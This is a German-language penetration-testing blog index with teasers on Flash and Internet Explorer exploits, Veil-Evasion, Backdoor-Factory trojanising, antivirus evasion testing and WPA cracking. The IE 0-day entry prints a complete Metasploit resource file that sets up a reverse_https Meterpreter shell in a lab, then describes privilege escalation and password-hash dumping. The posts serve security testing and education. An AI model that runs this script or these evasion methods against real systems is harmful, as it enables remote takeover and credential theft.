Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Im Adobe Flash Player 16.0.0.287 und früheren Versionen für Windows und Macintosh wurde eine kritische Sicherheitslücke (CVE-2015-0311) entdeckt und durch Adobe am 22.01.2015 gemeldet. Ein erfolgreicher Angriff könnte zum Absturz der Applikation führen und einem Angreifer die Übernahme des betroffenen Systems ermöglichen.

Rapid7 hat zum Test der Schwachstelle einen Exploit entwickelt, dessen Handhabung ich in diesem Blog kurz vorstellen möchte.

Das nachfolgende Video zeigt wie man den Exploit mit Hilfe einer Ressource-Datei starten kann. Auf dem Testsystem ist Windows 7 und der Internet Explorer installiert. Läuft alles wie geplant, so erhält der Angreifer eine Meterpreter-Session über Port 443.

WeiterlesenAdobe Flash Player ByteArray UncompressViaZlibVariant Use After Free

Veil-Evasion in Armitage einbinden

Cortana ist eine Skriptsprache für Armitage und Cobalt Srike.  Der Entwickler Raphael  Mudge liefert hier eine Möglichkeit, die von ihm erstellte Penetrationstesting-Software zu erweitern und diese mit den neusten Erkenntnissen  auszustatten.

In diesem Blog werde ich zeigen,  wie man diese Skripte nutzen kann, um Armitage mit dem Veil-Framework zu verbinden.

WeiterlesenVeil-Evasion in Armitage einbinden

Kali Linux Nethunter

Dieses auf der Basis von Adroid erstellte Plattform ist für Penetartionstester gedacht, die bereits Kali Linux genutzt haben und die Vorteile besonders im mobilen Einsatz schätzen.

Nethunter „verwandelt“ das Google Nexus zu einem Gerät, dass Angriffe auf drahtlose Netzwerke ermöglicht und darüber hinaus auch als BAD-USB-Gerät geeignet ist.

Die Steuerung kann direkt vom Nexus erledigt werden. Man hat aber auch die Möglichkeit, das Gerät Remote zu administrieren. Dies kann per SSH, über eine VNC-Verbindung oder über die Software von Drittanbietern (wie z.B. Teamleiter Quick Support) erfolgen.

Für die komfortable Bedienung wurde ein Menü und eine Webinterface geschaffen. Hiermit lassen sich vorkonfigurierte Tools starten aber auch bekannte Kali Linux Befehle aufrufen.

WeiterlesenKali Linux Nethunter

Backdoor-Factory mit Veil-Evasion und Metasploit nutzen

Bereits im Buch „Penetration Testing mit Metasploit“ bin ich im Kapitel 5.9  auf das folgende Thema eingegangen. Hier wurde  versucht, in das Programm BgInfo.exe von Windows Sysinternals ein Trojanisches Pferd einzubetten. Im folgenden Beitrag möcht ich zeigen, dass sich auch auf diesem Gebiet einiges getan hat und das die Möglichkeiten zur Verschleierung solcher Angriffe immen noch unterschätz werden. Viele Anwender wiegen sich in Sicherheit und hoffen, dass solche Angriffe vom installierten Virenschutzprogramm bzw. der Fierwall erkannt und abgewehrt werden.

Die im Buch beschrieben Methode war recht umständlich und das so erzeugte Trojanische Pferd wurde auch von vielen Virenschutzprogrammen erkannt. Hier wird gezeigt, wie man die Tools Backdoor-Factory und Veil-Evasion nutzen kann, um die Arbeit eines Penetration Testers zu erleichten.

WeiterlesenBackdoor-Factory mit Veil-Evasion und Metasploit nutzen

Symantec Antivirus für Linux testen

In den ersten beiden Teilen habe ich gezeigt, wie man Symantec AntiVirus für Linux auf einem Ubuntu-Server installieren und aktualisieren kann.

Im dritten und letzten Teil wollen wir nun den Virenschutz auf dem Ubuntu-Server testen. Dazu erstellen wir uns drei Dateien, die „Trojanische Pferde“ enthalten.  Dabei werden zwei Dateien (trojan.pdf und trojan.bin) mit dem Metasploit-Framework und eine (trojan.exe) mittels des Veil-Frameworks angelegt.

Da der Virenschutz mit „Auto-Protect“ Funktion versehen ist, sollte im Idealfall keine Datei auf das Zielsystem gelangen und sofort eliminiert werden.

WeiterlesenSymantec Antivirus für Linux testen

Payload ausliefern mit Veil und Catapult

Nachdem Christopher Truncer und Will Schroeder das Veil-Framework auf der ShmooCon 2014 präsentiert haben, möchte ich in dem heutigen Beitrag Veil-Catapult vorstellen. Es handelt sich hierbei um ein Framework, das die mit Veil erstellten Payloads an Zielsysteme ausliefert.  Dabei können Zielsysteme mit einzelnen IP-Adressen festgelegt aber auch in Listen zusammengefasst werden.

Zur Demonstration benutze ich ein Testnetzwerk auf der Grundlage von VirtualBox. Dabei kommt  die im Buch (Kapitel 2) beschriebene virtuelle Umgebung zum Einsatz.

Das Ziel ist eine Windows Netzwerk mit drei Windows XP Clients (192.168.222.73-75).  Als Virenschutz ist Symantec Endpoint Protection mit den aktuellen Virensignaturen installiert. Dabei sind einzelne Clients auch mit dem Netzwerkbedrohungsschutz ausgestattet.

WeiterlesenPayload ausliefern mit Veil und Catapult

Metasploit Virustotal Checks

Das Metasploit-Framework und die Software Veil haben nun Möglichkeiten implementiert, selbst erstellte oder mit Schadcode versehene Dateien über den Dienst „VirusTotal“ zu untersuchen. Durch diesen Test kann geprüft werden, ob die Virenschutzprogramme der verschiedenen Hersteller die übersandte Datei als Malware einstuft oder nicht.

Die Abfrage ist unter Voraussetzung einer Internetverbindung über die Kommandozeile möglich. Dabei nutzen beide Programme die API von VirusTotal. Dabei ist eine unterschiedliche Herangehensweise bei der Übermittlung von Daten an diesen Dienst zu beobachten.

Das Metasploit-Framework übermittelt die gesamte Datei an VirusTotal und erhält eine konkrete Aussage, ob in der übermittelten Software Schadcode erkannt wurde und wie diese vom jeweiligen Hersteller bezeichnet wird. In den Nutzerbedingungen von VirusTotal ist festgelegt, dass sie diese Dateien weitergeben und verwenden dürfen.  Es ist somit nicht auszuschließen, dass Daten an die jeweiligen Firmen zur weiteren Analyse weitergeleitet werden.

WeiterlesenMetasploit Virustotal Checks

ATT Mobile Hotspot WPA Cracking

Vor nicht zu langer Zeit hatte ich die Gelegenheit einen mobilen Hotspot von AT&T zu testen. Er ist mit einer SIM-Karte ausgestattet. Der Nutzer ist somit in der Lage, die über WLAN mit dem  Hotspot verbundenen Geräte an das schnelle mobile Internet (LTE) anzubinden.

Das Gerät wird standartmäßig mit einer WPA2-Verschlüsselung ausgeliefert. Das generierte Passwort bestand allerding nur aus acht Ziffern. Mir fiel auf, dass kaum ein Nutzer diese Standartwerte änderte und fast alle mit dem werkseitig generierten Passwort ins Internet gingen.

Für mich stellte sich nun die Frage,  mit welcher Sicherheit die Nutzer nun unterwegs sind und wie lange ein Angreifer braucht, um dieses Passwort herauszubekommen.

WeiterlesenATT Mobile Hotspot WPA Cracking

Internet Explorer 0-Day – Metasploit-Modul

Am 17.09.2012 wurde eine kritische Schwachstelle Microsoft Internet Explorer bekannt.  Betroffen sind IT-Systeme, die die Software in den Versionen 6, 7, 8 oder 9 unter den Betriebssystemen Microsoft Windows XP, Microsoft Windows Vista oder Microsoft Windows 7 verwenden. Die Schwachstelle wird bereits in gezielten Angriffen ausgenutzt. Um die Schwachstelle auszunutzen reicht es aus, den Internetnutzer auf eine präparierte Webseite zu locken. Beim Anzeigen dieser Webseite kann dann durch Ausnutzen der Schwachstelle beliebiger Code auf dem betroffenen System mit den Rechten des Nutzers ausgeführt werden.

Um die eigenen Systeme testen zu können, wurde ein Metasploit-Modul herausgebraucht.

Im Folgenden wird die Handhabung in einem Testnetzwerk kurz beschrieben und in einem Video erläutert. Der Angreifer nutzt Backtrack 5 R3 (IP: 192.168.222.16) und das Metasploit-Framework.  Auf dem Zielsystem (IP: 192.168.222.71) ist Windows 7 und der Internet Explorer 8 installiert.

Mittels der folgenden  Resource-Datei (ie0day.rc) wird das entsprechende Module geladen, die Serverparameter eingestellt und der Payload ausgewählt. Nach der Ausführung nimmt das  Angriffssystem „Anfragen“ auf Port 80 entgegen.

use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.222.16
set SRVPORT 80
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 192.168.222.16
set LPORT 443
set URIPATH /
exploit

									

Sobald das Zielsytem die URL http://192.168.222.16 im Internet Explorer öffnet, wird der Exploit ausgeführt und der entsprechende Payload (in diesem Fall windows/meterpreter/reverse_https) nachgeladen.  Nun können beliebige Meterpreter-Skripte ausgeführt werden. Im  Video werden die Nutzerrechte zu Systemrechten eskaliert und die Passwort-Hashes ausgelesen.

WeiterlesenInternet Explorer 0-Day – Metasploit-Modul